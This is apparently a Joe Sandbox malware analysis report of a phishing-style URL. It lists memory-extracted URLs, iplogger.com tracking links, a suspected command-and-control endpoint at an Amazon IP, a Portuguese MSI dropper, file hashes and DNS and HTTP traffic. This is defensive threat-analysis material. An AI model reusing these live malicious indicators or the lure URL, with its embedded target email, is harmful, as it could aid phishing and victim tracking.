http://www.fontbureau.com/designers	winlog.exe, 00000013.00000002.2335386838.0000000003DED000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2340551523.000000000613B000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1653269217.00000000FF9C0000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1649951240.00000000FFDE0000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1651006222.00000000FFC40000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1651319981.00000000FFD60000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1651006222.00000000FFD1D000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.indyproject.org/	winlog.exe, 00000013.00000002.2344795953.00000000077FF000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2346195011.0000000018001000.00000020.00000001.01000000.00000008.sdmp, winlog.exe, 00000013.00000003.1821942074.000000000780F000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.tiro.comtypep	winlog.exe, 00000013.00000002.2338977690.0000000005F00000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.sajatypeworks.com	winlog.exe, 00000013.00000002.2335386838.0000000003DED000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1649951240.00000000FFDE0000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp//:	winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://www.sakkal.comt	winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.jiyu-kobo.co.jp//	winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://www.jiyu-kobo.co.jp/0	winlog.exe, 00000013.00000003.1651634090.00000000FFDB0000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://www.soft-gems.net	winlog.exe, 00000013.00000000.1624601251.0000000001E93000.00000002.00000001.01000000.00000007.sdmp	false	0%, Virustotal, Browse	unknown
http://www.vso-software.fr/secure/auto_update.phpU	winlog.exe, 00000013.00000000.1615949987.0000000000E01000.00000020.00000001.01000000.00000007.sdmp	false		high
http://www.jiyu-kobo.co.jp/.	winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://fr.vso-software.fr/support.php	winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	false		high
http://www.vso-software.fr/guides/cxd/how-to-convert-avi-to-dvd.php?adl=1U	winlog.exe, 00000013.00000000.1615949987.0000000000E01000.00000020.00000001.01000000.00000007.sdmp	false		high
http://www.carterandcone.com4Z	winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.ascendercorp.com/typedesigners.html	winlog.exe, 00000013.00000003.1650726781.00000000FFE00000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.vso-software.fr/support.php	winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	false		high
http://www.zhongyicts.com.cn	winlog.exe, 00000013.00000003.1651319981.00000000FFD60000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://forums.vso-software.fr/advanced-text-customization-in-dvd-menus-	winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	false		high
http://www.galapagosdesign.com/	winlog.exe, 00000013.00000003.1650726781.00000000FFE00000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://iplogger.com/LABORAL~.p	MSI6140.tmp, 00000010.00000002.1601552173.0000000000D30000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com7d	winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.vso-software.fr/secure/license_manager.php?m=license	winlog.exe, 00000013.00000000.1615949987.0000000000E01000.00000020.00000001.01000000.00000007.sdmp	false		high
http://everaldo.com/crystal/	winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	false	1%, Virustotal, Browse	unknown
http://www.jiyu-kobo.co.jp/S	winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://vso-software.fr/products.phpU	winlog.exe, 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp	false		high
http://www.sakkal.comCf7	winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://iplogger.com/LABORALerlaylw8	MSI6140.tmp, 00000010.00000002.1602877276.0000000002EB9000.00000004.00000010.00020000.00000000.sdmp	false		high
http://www.vso-software.fr/redirect.php?site=converters_need_decryptor	winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	false		high
https://iplogger.com/LABORAL##	MSI6140.tmp, 00000010.00000002.1601552173.0000000000D30000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/frere-jones.htmll	winlog.exe, 00000013.00000002.2342790721.0000000007500000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cnuD	winlog.exe, 00000013.00000002.2338977690.000000000601E000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.vso-software.fr/shop.php	winlog.exe, 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp	false		high
http://www.oxygen-icons.org/	winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	false		unknown
http://nuovext.pwsp.net	winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	false		unknown
http://www.tiro.com8k8l8m8o	winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://creativecommons.org/licenses/by-sa/3.0/	winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	false		high
http://www.tiro.comions	winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.ascendercorp.com/typedesigners.htmll03	winlog.exe, 00000013.00000002.2335386838.0000000003DED000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.carterandcone.comk	winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.vso-software.fr/products/	winlog.exe, 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp	false		high
http://3.145.213.63/contador/serv.phpA	winlog.exe, 00000013.00000002.2344795953.00000000077B9000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.founder.com.cn/cn/	winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.jiyu-kobo.co.jp/.9.;G	winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.founder.com.cn/cn2?	winlog.exe, 00000013.00000002.2338977690.000000000601E000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.tiro.comtu=	winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	false		low
http://www.fontbureau.com/designers/frere-jones.html	winlog.exe, 00000013.00000003.1650726781.00000000FFE00000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.vso-software.fr/products.php	winlog.exe, 00000013.00000000.1615949987.00000000015CA000.00000020.00000001.01000000.00000007.sdmp	false		high
http://secure.vso-software.fr/?m=tsU	winlog.exe, 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp	false		high
http://www.jiyu-kobo.co.jp/GH$.H=WB	winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://3.145.213.63/contador/serv.phpDF_02	winlog.exe, 00000013.00000002.2344795953.0000000007842000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.founder.com.cn/cncom	winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://iplogger.com/LABORALYw	MSI6140.tmp, 00000010.00000002.1601552173.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://packages.debian.org/lenny/app-install-data	winlog.exe, 00000013.00000000.1624601251.0000000001E93000.00000002.00000001.01000000.00000007.sdmp	false		high
https://iplogger.com/LABORALC:	MSI6140.tmp, 00000010.00000002.1603430983.00000000032F0000.00000004.00000020.00020000.00000000.sdmp, MSI6140.tmp, 00000010.00000002.1602133412.0000000000E80000.00000004.00000020.00020000.00000000.sdmp, MSI6140.tmp, 00000010.00000002.1601552173.0000000000D30000.00000004.00000020.00020000.00000000.sdmp	false		high
http://rg.vso-software.fr	winlog.exe, 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp	false		high
http://www.jiyu-kobo.co.jp/%5%5%.	winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://iplogger.com/LABORAL	MSI6140.tmp, 00000010.00000002.1601552173.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, MSI6140.tmp, 00000010.00000002.1601552173.0000000000DC4000.00000004.00000020.00020000.00000000.sdmp, MSI6140.tmp, 00000010.00000002.1601552173.0000000000D30000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.comchr	winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://art.gnome.org/2	winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	false		high
http://www.jiyu-kobo.co.jp/..2	winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.ascendercorp.com/typedesigners.html03	winlog.exe, 00000013.00000002.2335386838.0000000003DED000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.vso-software.frU	winlog.exe, 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp	false		unknown
http://www.jiyu-kobo.co.jp/..3	winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.vso-software.fr/products/U	winlog.exe, 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp	false		high
http://www.tiro.com	winlog.exe, 00000013.00000003.1650726781.00000000FFE00000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2342790721.0000000007500000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1651319981.00000000FFD60000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2338977690.000000000601E000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1650584877.00000000FFDE0000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1651006222.00000000FFD1D000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1650403378.00000000FFDBE000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1651634090.00000000FFDB0000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deaphyp	winlog.exe, 00000013.00000002.2338977690.0000000005F00000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.galapagosdesign.com/staff/dennis.htm03	winlog.exe, 00000013.00000002.2335386838.0000000003DED000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.goodfont.co.kr	winlog.exe, 00000013.00000003.1651006222.00000000FFD1D000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.tiro.comiryop	winlog.exe, 00000013.00000002.2338977690.0000000005F00000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.vso-software.fr/	winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	false		high
https://www.vso-software.fr/vso-partners.php	winlog.exe, 00000013.00000000.1624601251.0000000001E93000.00000002.00000001.01000000.00000007.sdmp	false		high
http://www.carterandcone.com	winlog.exe, 00000013.00000003.1651319981.00000000FFD60000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1651634090.00000000FFDB0000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.urwpp.deCleap	winlog.exe, 00000013.00000002.2338977690.0000000005F00000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://iplogger.com/LABORALb	MSI6140.tmp, 00000010.00000002.1601552173.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/44444444	winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.carterandcone.com-	winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	false		low
http://vso-software.fr/download.phpU	winlog.exe, 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	winlog.exe, 00000013.00000003.1650726781.00000000FFE00000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn#	winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.baua.de/nn_56926/de/Themen-von-A-Z/Arbeitsstaetten/ASR/pdf/ASR-A1-3.pdfjc	winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	false		high
http://www.typography.net	winlog.exe, 00000013.00000002.2335386838.0000000003DED000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1650403378.00000000FFDBE000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://iplogger.com/LABORAL3	MSI6140.tmp, 00000010.00000002.1601552173.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.vso-software.fr/redirect.php?url=http://oasis.vso-software.fr/Additional%20DVD%20menu%20t	winlog.exe, 00000013.00000000.1615949987.0000000000E01000.00000020.00000001.01000000.00000007.sdmp	false		high
http://www.founder.com.cn/cnr	winlog.exe, 00000013.00000002.2338977690.000000000601E000.00000004.00001000.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.190.68	www.google.com	United States	15169	GOOGLEUS	false
3.145.213.63	unknown	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
172.67.221.1	nertaos.com	United States	13335	CLOUDFLARENETUS	false
3.38.76.70	ec2-3-38-76-70.ap-northeast-2.compute.amazonaws.com	United States	8987	AMAZONEXPANSIONGB	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1426517
Start date and time:	2024-04-16 09:19:01 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://map.sewoon.org/1/themes/es/?cid=dcp@sanitasresidencial.com
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.evad.win@31/47@12/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, consent.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.190.99, 142.250.191.238, 142.250.112.84, 34.104.35.123, 172.217.5.3, 142.251.32.14
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, clients2.google.com, accounts.google.com, edgedl.me.gvt1.com, slscr.update.microsoft.com, update.googleapis.com, clientservices.googleapis.com, clients.l.google.com, fe3cr.delivery.mp.microsoft.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	1779
Entropy (8bit):	5.620840443452321
Encrypted:	false
SSDEEP:	24:CBXbIF2RJa0lTi6OZh26ANuxKNqlT/6+IwPzqCPQCVmf0xX6ys8au5nd:CxIqAR+Nql2+IMqCPTmAX6r8au5nd
MD5:	EB4638DE49A4F8C993D13E5B0F83C412
SHA1:	1F47FD458849E4B51147B37B7298ABFEB5C1AFB4
SHA-256:	E2A48F65F3A15F8E62D858C962F8660CD84E6B6AFB110E4C65C1E5CBA167D3C9
SHA-512:	D6AB1E6C029C9C5EA8B142BE341C1C7F2C0055F35988C3D862D3C5CBE9FBA6358534F2E2886F1EF5AE03F4A49EB47D9A180E2E2DA453624DCF07AFBF7AE66BFB
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.J.X.@.....@.....@.....@.....@.....@......&.{1F6D0D30-49C2-43B0-B464-982092FF4C2D}..DOC70219873816PDF_02..DOC70219873816PDF_02.msi.@.....@...$.@.....@........&.{5FCF4958-4A18-4FE1-AC60-167AF590F8DA}.....@.....@.....@.....@.......@.....@.....@.......@......DOC70219873816PDF_02......Rollback..A.....o. .d.e. .r.e.s.t.a.u.r.a.....o.....RollbackCleanup..Removendo arquivos de backup..Arquivo: [1]....ProcessComponents%.Atualizando o registro de componentes..&.{8BEF67AD-7AB0-4005-8970-243025C660D4}&.{1F6D0D30-49C2-43B0-B464-982092FF4C2D}.@......&.{E5C582A7-473B-462E-8908-097F65D61C2F}&.{1F6D0D30-49C2-43B0-B464-982092FF4C2D}.@......&.{C7571FE0-CAD2-42CE-B1DE-4AB427FEDE3B}&.{1F6D0D30-49C2-43B0-B464-982092FF4C2D}.@......&.{78B296EC-C00C-4070-AF1B-A4A0EAEAFE0D}&.{1F6D0D30-49C2-43B0-B464-982092FF4C2D}.@........CreateFolders..Criando novas pastas..Pasta: [1]#.A.C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\.@........InstallFiles..Copiando arquivos novos*.A.r.q.u.i.

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Apr 16 06:19:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9805620323574913
Encrypted:	false
SSDEEP:	48:8KdjjT/zufHIidAKZdA1FehwiZUklqehSy+3:8aHBFy
MD5:	A3C2793D138CF2CDBA93327796AC7E99
SHA1:	9636B7C1423EA8945B7F076B896F83D2318D71E4
SHA-256:	22A9789D7FADFB3F932F42F82C5F8EEE63B775FF758EBEBE731CF30EBA741175
SHA-512:	93FC73242A77E6850AE908D694F8021AEEA9FC107B0DCF5F8A9EA88B205E1FA3CD84269D60AF5AEEB34159940999B04687A33EED005F4EAD7B86E6476A2D9BE8
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....}.k...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Xg:....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Xn:....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Xn:....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Xn:..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Xo:...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..........._6.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 16, 2024 09:19:27.792782068 CEST	192.168.2.16	1.1.1.1	0x1b36	Standard query (0)	map.sewoon.org	A (IP address)	IN (0x0001)	false
Apr 16, 2024 09:19:27.792970896 CEST	192.168.2.16	1.1.1.1	0xb4fc	Standard query (0)	map.sewoon.org	65	IN (0x0001)	false
Apr 16, 2024 09:19:31.418087959 CEST	192.168.2.16	1.1.1.1	0xfe5f	Standard query (0)	map.sewoon.org	A (IP address)	IN (0x0001)	false
Apr 16, 2024 09:19:31.418200970 CEST	192.168.2.16	1.1.1.1	0x71f8	Standard query (0)	map.sewoon.org	65	IN (0x0001)	false
Apr 16, 2024 09:19:32.624352932 CEST	192.168.2.16	1.1.1.1	0x45ec	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 16, 2024 09:19:32.624488115 CEST	192.168.2.16	1.1.1.1	0xcdc	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 16, 2024 09:20:02.916687012 CEST	192.168.2.16	1.1.1.1	0x6bf2	Standard query (0)	nertaos.com	A (IP address)	IN (0x0001)	false
Apr 16, 2024 09:20:02.916919947 CEST	192.168.2.16	1.1.1.1	0xba3c	Standard query (0)	nertaos.com	65	IN (0x0001)	false
Apr 16, 2024 09:20:04.214963913 CEST	192.168.2.16	1.1.1.1	0xfffb	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 16, 2024 09:20:04.215126991 CEST	192.168.2.16	1.1.1.1	0x6b9	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Apr 16, 2024 09:21:32.752365112 CEST	192.168.2.16	1.1.1.1	0xc42e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 16, 2024 09:21:32.752480984 CEST	192.168.2.16	1.1.1.1	0x4dd4	Standard query (0)	www.google.com	65	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 16, 2024 09:19:28.063749075 CEST	1.1.1.1	192.168.2.16	0xb4fc	No error (0)	map.sewoon.org	ec2-3-38-76-70.ap-northeast-2.compute.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 16, 2024 09:19:28.179888964 CEST	1.1.1.1	192.168.2.16	0x1b36	No error (0)	map.sewoon.org	ec2-3-38-76-70.ap-northeast-2.compute.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 16, 2024 09:19:28.179888964 CEST	1.1.1.1	192.168.2.16	0x1b36	No error (0)	ec2-3-38-76-70.ap-northeast-2.compute.amazonaws.com		3.38.76.70	A (IP address)	IN (0x0001)	false
Apr 16, 2024 09:19:31.520418882 CEST	1.1.1.1	192.168.2.16	0x71f8	No error (0)	map.sewoon.org	ec2-3-38-76-70.ap-northeast-2.compute.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 16, 2024 09:19:31.693731070 CEST	1.1.1.1	192.168.2.16	0xfe5f	No error (0)	map.sewoon.org	ec2-3-38-76-70.ap-northeast-2.compute.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 16, 2024 09:19:31.693731070 CEST	1.1.1.1	192.168.2.16	0xfe5f	No error (0)	ec2-3-38-76-70.ap-northeast-2.compute.amazonaws.com		3.38.76.70	A (IP address)	IN (0x0001)	false
Apr 16, 2024 09:19:32.726161003 CEST	1.1.1.1	192.168.2.16	0x45ec	No error (0)	www.google.com		142.250.190.68	A (IP address)	IN (0x0001)	false
Apr 16, 2024 09:19:32.726278067 CEST	1.1.1.1	192.168.2.16	0xcdc	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 16, 2024 09:20:03.093767881 CEST	1.1.1.1	192.168.2.16	0x6bf2	No error (0)	nertaos.com		172.67.221.1	A (IP address)	IN (0x0001)	false
Apr 16, 2024 09:20:03.093767881 CEST	1.1.1.1	192.168.2.16	0x6bf2	No error (0)	nertaos.com		104.21.24.230	A (IP address)	IN (0x0001)	false
Apr 16, 2024 09:20:03.093980074 CEST	1.1.1.1	192.168.2.16	0xba3c	No error (0)	nertaos.com			65	IN (0x0001)	false
Apr 16, 2024 09:20:04.317363024 CEST	1.1.1.1	192.168.2.16	0xfffb	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 16, 2024 09:21:32.855317116 CEST	1.1.1.1	192.168.2.16	0x4dd4	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 16, 2024 09:21:32.855348110 CEST	1.1.1.1	192.168.2.16	0xc42e	No error (0)	www.google.com		172.217.5.4	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
2024-04-16 07:19:28 UTC	700	OUT	GET /1/themes/es/?cid=dcp@sanitasresidencial.com HTTP/1.1 Host: map.sewoon.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 07:19:29 UTC	221	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Apr 2024 07:19:29 GMT Server: Apache/2.4.48 (Unix) OpenSSL/1.1.1n X-Powered-By: PHP/7.4.21 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-04-16 07:19:29 UTC	138	IN	Data Raw: 37 66 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 6f 66 66 73 65 74 3a 20 31 20 69 6e 20 3c 62 3e 2f 62 69 74 6e 61 6d 69 2f 77 6f 72 64 70 72 65 73 73 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 65 73 2f 69 6e 64 65 78 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 33 36 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 7f<br /><b>Notice</b>: Undefined offset: 1 in <b>/bitnami/wordpress/wp-content/themes/es/index.php</b> on line <b>36</b><br />0

Timestamp	Bytes transferred	Direction	Data
